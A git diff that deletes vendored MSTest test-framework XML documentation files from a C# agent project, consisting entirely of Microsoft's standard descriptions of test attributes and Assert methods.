a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.XML +++ /dev/null @@ -1,131 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Used to specify deployment item (file or directory) for per-test deployment. - Can be specified on test class or test method. - Can have multiple instances of the attribute to specify more than one item. - The item path can be absolute or relative, if relative, it is relative to RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensibility point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - Initializes a new instance of the class. - - The file or directory to deploy. The path is relative to the build output directory. The item will be copied to the same directory as the deployed test assemblies. - - - - Initializes a new instance of the class - - The relative or absolute path to the file or directory to deploy. The path is relative to the build output directory. The item will be copied to the same directory as the deployed test assemblies. - The path of the directory to which the items are to be copied. It can be either absolute or relative to the deployment directory. All files and directories identified by will be copied to this directory. - - - - Gets the path of the source file or folder to be copied. - - - - - Gets the path of the directory to which the item is copied. - - - - - Execute test code in UI thread for Windows store apps. - - - - - Executes the test method on the UI Thread. - - - The test method. - - - An array of instances. - - Throws when run on an async test method. - - - - - TestContext class. This class should be fully abstract and not contain any - members. The adapter will implement the members. Users in the framework should - only access this via a well-defined interface. - - - - - Gets test properties for a test. - - - - - Gets or sets the cancellation token source. This token source is cancelled when test timesout. Also when explicitly cancelled the test will be aborted - - - - - Gets Fully-qualified name of the class containing the test method currently being executed - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Gets the Name of the test method currently being executed - - - - - Gets the current test outcome. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/Microsoft.VisualStudio.TestPlatform.TestFramework.XML b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/Microsoft.VisualStudio.TestPlatform.TestFramework.XML deleted file mode 100644 index d0eb68e9..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/Microsoft.VisualStudio.TestPlatform.TestFramework.XML +++ /dev/null @@ -1,4477 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Specification to disable parallelization. - - - - - Enum to specify whether the data is stored as property or in method. - - - - - Data is declared as property. - - - - - Data is declared in method. - - - - - Attribute to define dynamic data for a test method. - - - - - Initializes a new instance of the class. - - - The name of method or property having test data. - - - Specifies whether the data is stored as property or in method. - - - - - Initializes a new instance of the class when the test data is present in a class different - from test method's class. - - - The name of method or property having test data. - - - The declaring type of property or method having data. Useful in cases when declaring type is present in a class different from - test method's class. If null, declaring type defaults to test method's class type. - - - Specifies whether the data is stored as property or in method. - - - - - Gets or sets the name of method used to customize the display name in test results. - - - - - Gets or sets the declaring type used to customize the display name in test results. - - - - - - - - - - - Specification for parallelization level for a test run. - - - - - The default scope for the parallel run. Although method level gives maximum parallelization, the default is set to - class level to enable maximum number of customers to easily convert their tests to run in parallel. In most cases within - a class tests aren't thread safe. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the number of workers to be used for the parallel run. - - - - - Gets or sets the scope of the parallel run. - - - To enable all classes to run in parallel set this to . - To get the maximum parallelization level set this to . - - - - - Parallel execution mode. - - - - - Each thread of execution will be handed a TestClass worth of tests to execute. - Within the TestClass, the test methods will execute serially. - - - - - Each thread of execution will be handed TestMethods to execute. - - - - - Test data source for data driven tests. - - - - - Gets the test data from custom test data source. - - - The method info of test method. - - - Test data for calling test method. - - - - - Gets the display name corresponding to test data row for displaying in TestResults. - - - The method info of test method. - - - The test data which is passed to test method. - - - The . - - - - - TestMethod for execution. - - - - - Gets the name of test method. - - - - - Gets the name of test class. - - - - - Gets the return type of test method. - - - - - Gets the arguments with which test method is invoked. - - - - - Gets the parameters of test method. - - - - - Gets the methodInfo for test method. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Invokes the test method. - - - Arguments to pass to test method. (E.g. For data driven) - - - Result of test method invocation. - - - This call handles asynchronous test methods as well. - - - - - Get all attributes of the test method. - - - Whether attribute defined in parent class is valid. - - - All attributes. - - - - - Get attribute of specific type. - - System.Attribute type. - - Whether attribute defined in parent class is valid. - - - The attributes of the specified type. - - - - - The helper. - - - - - The check parameter not null. - - - The parameter. - - - The parameter name. - - - The message. - - Throws argument null exception when parameter is null. - - - - The check parameter not null or empty. - - - The parameter. - - - The parameter name. - - - The message. - - Throws ArgumentException when parameter is null. - - - - Enumeration for how we access data rows in data driven testing. - - - - - Rows are returned in sequential order. - - - - - Rows are returned in random order. - - - - - Attribute to define in-line data for a test method. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - The data object. - - - - Initializes a new instance of the class which takes in an array of arguments. - - A data object. - More data. - - - - Gets data for calling test method. - - - - - Gets or sets display name in test results for customization. - - - - - - - - - - - The assert inconclusive exception. - - - - - Initializes a new instance of the class. - - The message. - The exception. - - - - Initializes a new instance of the class. - - The message. - - - - Initializes a new instance of the class. - - - - - InternalTestFailureException class. Used to indicate internal failure for a test case - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Initializes a new instance of the class. - - The exception message. - The exception. - - - - Initializes a new instance of the class. - - The exception message. - - - - Initializes a new instance of the class. - - - - - Attribute that specifies to expect an exception of the specified type - - - - - Initializes a new instance of the class with the expected type - - Type of the expected exception - - - - Initializes a new instance of the class with - the expected type and the message to include when no exception is thrown by the test. - - Type of the expected exception - - Message to include in the test result if the test fails due to not throwing an exception - - - - - Gets a value indicating the Type of the expected exception - - - - - Gets or sets a value indicating whether to allow types derived from the type of the expected exception to - qualify as expected - - - - - Gets the message to include in the test result if the test fails due to not throwing an exception - - - - - Verifies that the type of the exception thrown by the unit test is expected - - The exception thrown by the unit test - - - - Base class for attributes that specify to expect an exception from a unit test - - - - - Initializes a new instance of the class with a default no-exception message - - - - - Initializes a new instance of the class with a no-exception message - - - Message to include in the test result if the test fails due to not throwing an - exception - - - - - Gets the message to include in the test result if the test fails due to not throwing an exception - - - - - Gets the message to include in the test result if the test fails due to not throwing an exception - - - - - Gets the default no-exception message - - The ExpectedException attribute type name - The default no-exception message - - - - Determines whether the exception is expected. If the method returns, then it is - understood that the exception was expected. If the method throws an exception, then it - is understood that the exception was not expected, and the thrown exception's message - is included in the test result. The class can be used for - convenience. If is used and the assertion fails, - then the test outcome is set to Inconclusive. - - The exception thrown by the unit test - - - - Rethrow the exception if it is an AssertFailedException or an AssertInconclusiveException - - The exception to rethrow if it is an assertion exception - - - - This class is designed to help user doing unit testing for types which uses generic types. - GenericParameterHelper satisfies some common generic type constraints - such as: - 1. public default constructor - 2. implements common interface: IComparable, IEnumerable - - - - - Initializes a new instance of the class that - satisfies the 'newable' constraint in C# generics. - - - This constructor initializes the Data property to a random value. - - - - - Initializes a new instance of the class that - initializes the Data property to a user-supplied value. - - Any integer value - - - - Gets or sets the Data - - - - - Do the value comparison for two GenericParameterHelper object - - object to do comparison with - true if obj has the same value as 'this' GenericParameterHelper object. - false otherwise. - - - - Returns a hashcode for this object. - - The hash code. - - - - Compares the data of the two objects. - - The object to compare with. - - A signed number indicating the relative values of this instance and value. - - - Thrown when the object passed in is not an instance of . - - - - - Returns an IEnumerator object whose length is derived from - the Data property. - - The IEnumerator object - - - - Returns a GenericParameterHelper object that is equal to - the current object. - - The cloned object. - - - - Enables users to log/write traces from unit tests for diagnostics. - - - - - Handler for LogMessage. - - Message to log. - - - - Event to listen. Raised when unit test writer writes some message. - Mainly to consume by adapter. - - - - - API for test writer to call to Log messages. - - String format with placeholders. - Parameters for placeholders. - - - - TestCategory attribute; used to specify the category of a unit test. - - - - - Initializes a new instance of the class and applies the category to the test. - - - The test Category. - - - - - Gets the test categories that has been applied to the test. - - - - - Base class for the "Category" attribute - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Initializes a new instance of the class. - Applies the category to the test. The strings returned by TestCategories - are used with the /category command to filter tests - - - - - Gets the test category that has been applied to the test. - - - - - AssertFailedException class. Used to indicate failure for a test case - - - - - Initializes a new instance of the class. - - The message. - The exception. - - - - Initializes a new instance of the class. - - The message. - - - - Initializes a new instance of the class. - - - - - A collection of helper classes to test various conditions within - unit tests. If the condition being tested is not met, an exception - is thrown. - - - - - Gets the singleton instance of the Assert functionality. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Tests whether the specified condition is true and throws an exception - if the condition is false. - - - The condition the test expects to be true. - - - Thrown if is false. - - - - - Tests whether the specified condition is true and throws an exception - if the condition is false. - - - The condition the test expects to be true. - - - The message to include in the exception when - is false. The message is shown in test results. - - - Thrown if is false. - - - - - Tests whether the specified condition is true and throws an exception - if the condition is false. - - - The condition the test expects to be true. - - - The message to include in the exception when - is false. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is false. - - - - - Tests whether the specified condition is false and throws an exception - if the condition is true. - - - The condition the test expects to be false. - - - Thrown if is true. - - - - - Tests whether the specified condition is false and throws an exception - if the condition is true. - - - The condition the test expects to be false. - - - The message to include in the exception when - is true. The message is shown in test results. - - - Thrown if is true. - - - - - Tests whether the specified condition is false and throws an exception - if the condition is true. - - - The condition the test expects to be false. - - - The message to include in the exception when - is true. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is true. - - - - - Tests whether the specified object is null and throws an exception - if it is not. - - - The object the test expects to be null. - - - Thrown if is not null. - - - - - Tests whether the specified object is null and throws an exception - if it is not. - - - The object the test expects to be null. - - - The message to include in the exception when - is not null. The message is shown in test results. - - - Thrown if is not null. - - - - - Tests whether the specified object is null and throws an exception - if it is not. - - - The object the test expects to be null. - - - The message to include in the exception when - is not null. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not null. - - - - - Tests whether the specified object is non-null and throws an exception - if it is null. - - - The object the test expects not to be null. - - - Thrown if is null. - - - - - Tests whether the specified object is non-null and throws an exception - if it is null. - - - The object the test expects not to be null. - - - The message to include in the exception when - is null. The message is shown in test results. - - - Thrown if is null. - - - - - Tests whether the specified object is non-null and throws an exception - if it is null. - - - The object the test expects not to be null. - - - The message to include in the exception when - is null. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is null. - - - - - Tests whether the specified objects both refer to the same object and - throws an exception if the two inputs do not refer to the same object. - - - The first object to compare. This is the value the test expects. - - - The second object to compare. This is the value produced by the code under test. - - - Thrown if does not refer to the same object - as . - - - - - Tests whether the specified objects both refer to the same object and - throws an exception if the two inputs do not refer to the same object. - - - The first object to compare. This is the value the test expects. - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not the same as . The message is shown - in test results. - - - Thrown if does not refer to the same object - as . - - - - - Tests whether the specified objects both refer to the same object and - throws an exception if the two inputs do not refer to the same object. - - - The first object to compare. This is the value the test expects. - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not the same as . The message is shown - in test results. - - - An array of parameters to use when formatting . - - - Thrown if does not refer to the same object - as . - - - - - Tests whether the specified objects refer to different objects and - throws an exception if the two inputs refer to the same object. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the value produced by the code under test. - - - Thrown if refers to the same object - as . - - - - - Tests whether the specified objects refer to different objects and - throws an exception if the two inputs refer to the same object. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is the same as . The message is shown in - test results. - - - Thrown if refers to the same object - as . - - - - - Tests whether the specified objects refer to different objects and - throws an exception if the two inputs refer to the same object. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is the same as . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if refers to the same object - as . - - - - - Tests whether the specified values are equal and throws an exception - if the two values are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the tests expects. - - - The second value to compare. This is the value produced by the code under test. - - - Thrown if is not equal to . - - - - - Tests whether the specified values are equal and throws an exception - if the two values are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the tests expects. - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified values are equal and throws an exception - if the two values are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the tests expects. - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified values are unequal and throws an exception - if the two values are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the test expects not - to match . - - - The second value to compare. This is the value produced by the code under test. - - - Thrown if is equal to . - - - - - Tests whether the specified values are unequal and throws an exception - if the two values are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the test expects not - to match . - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified values are unequal and throws an exception - if the two values are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the test expects not - to match . - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified objects are equal and throws an exception - if the two objects are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the object the tests expects. - - - The second object to compare. This is the object produced by the code under test. - - - Thrown if is not equal to - . - - - - - Tests whether the specified objects are equal and throws an exception - if the two objects are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the object the tests expects. - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified objects are equal and throws an exception - if the two objects are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the object the tests expects. - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified objects are unequal and throws an exception - if the two objects are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the object produced by the code under test. - - - Thrown if is equal to . - - - - - Tests whether the specified objects are unequal and throws an exception - if the two objects are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified objects are unequal and throws an exception - if the two objects are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified floats are equal and throws an exception - if they are not equal. - - - The first float to compare. This is the float the tests expects. - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - Thrown if is not equal to - . - - - - - Tests whether the specified floats are equal and throws an exception - if they are not equal. - - - The first float to compare. This is the float the tests expects. - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified floats are equal and throws an exception - if they are not equal. - - - The first float to compare. This is the float the tests expects. - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified floats are unequal and throws an exception - if they are equal. - - - The first float to compare. This is the float the test expects not to - match . - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - Thrown if is equal to . - - - - - Tests whether the specified floats are unequal and throws an exception - if they are equal. - - - The first float to compare. This is the float the test expects not to - match . - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - Thrown if is equal to . - - - - - Tests whether the specified floats are unequal and throws an exception - if they are equal. - - - The first float to compare. This is the float the test expects not to - match . - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are equal and throws an exception - if they are not equal. - - - The first double to compare. This is the double the tests expects. - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - Thrown if is not equal to - . - - - - - Tests whether the specified doubles are equal and throws an exception - if they are not equal. - - - The first double to compare. This is the double the tests expects. - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - Thrown if is not equal to . - - - - - Tests whether the specified doubles are equal and throws an exception - if they are not equal. - - - The first double to compare. This is the double the tests expects. - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - The first double to compare. This is the double the test expects not to - match . - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - The first double to compare. This is the double the test expects not to - match . - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - The first double to compare. This is the double the test expects not to - match . - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified object is an instance of the expected - type and throws an exception if the expected type is not in the - inheritance hierarchy of the object. - - - The object the test expects to be of the specified type. - - - The expected type of . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Tests whether the specified object is an instance of the expected - type and throws an exception if the expected type is not in the - inheritance hierarchy of the object. - - - The object the test expects to be of the specified type. - - - The expected type of . - - - The message to include in the exception when - is not an instance of . The message is - shown in test results. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Tests whether the specified object is an instance of the expected - type and throws an exception if the expected type is not in the - inheritance hierarchy of the object. - - - The object the test expects to be of the specified type. - - - The expected type of . - - - The message to include in the exception when - is not an instance of . The message is - shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Tests whether the specified object is not an instance of the wrong - type and throws an exception if the specified type is in the - inheritance hierarchy of the object. - - - The object the test expects not to be of the specified type. - - - The type that should not be. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Tests whether the specified object is not an instance of the wrong - type and throws an exception if the specified type is in the - inheritance hierarchy of the object. - - - The object the test expects not to be of the specified type. - - - The type that should not be. - - - The message to include in the exception when - is an instance of . The message is shown - in test results. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Tests whether the specified object is not an instance of the wrong - type and throws an exception if the specified type is in the - inheritance hierarchy of the object. - - - The object the test expects not to be of the specified type. - - - The type that should not be. - - - The message to include in the exception when - is an instance of . The message is shown - in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Throws an AssertFailedException. - - - Always thrown. - - - - - Throws an AssertFailedException. - - - The message to include in the exception. The message is shown in - test results. - - - Always thrown. - - - - - Throws an AssertFailedException. - - - The message to include in the exception. The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Always thrown. - - - - - Throws an AssertInconclusiveException. - - - Always thrown. - - - - - Throws an AssertInconclusiveException. - - - The message to include in the exception. The message is shown in - test results. - - - Always thrown. - - - - - Throws an AssertInconclusiveException. - - - The message to include in the exception. The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Always thrown. - - - - - Static equals overloads are used for comparing instances of two types for reference - equality. This method should not be used for comparison of two instances for - equality. This object will always throw with Assert.Fail. Please use - Assert.AreEqual and associated overloads in your unit tests. - - Object A - Object B - False, always. - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . - - - An array of parameters to use when formatting . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . - - - An array of parameters to use when formatting . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The executing the delegate. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws AssertFailedException if code does not throws exception or throws exception of type other than . - - Delegate to code to be tested and which is expected to throw exception. - - The message to include in the exception when - does not throws exception of type . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - The executing the delegate. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws AssertFailedException if code does not throws exception or throws exception of type other than . - - Delegate to code to be tested and which is expected to throw exception. - - The message to include in the exception when - does not throws exception of type . - - - An array of parameters to use when formatting . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - The executing the delegate. - - - - - Replaces null characters ('\0') with "\\0". - - - The string to search. - - - The converted string with null characters replaced by "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Helper function that creates and throws an AssertionFailedException - - - name of the assertion throwing an exception - - - message describing conditions for assertion failure - - - The parameters. - - - - - Checks the parameter for valid conditions - - - The parameter. - 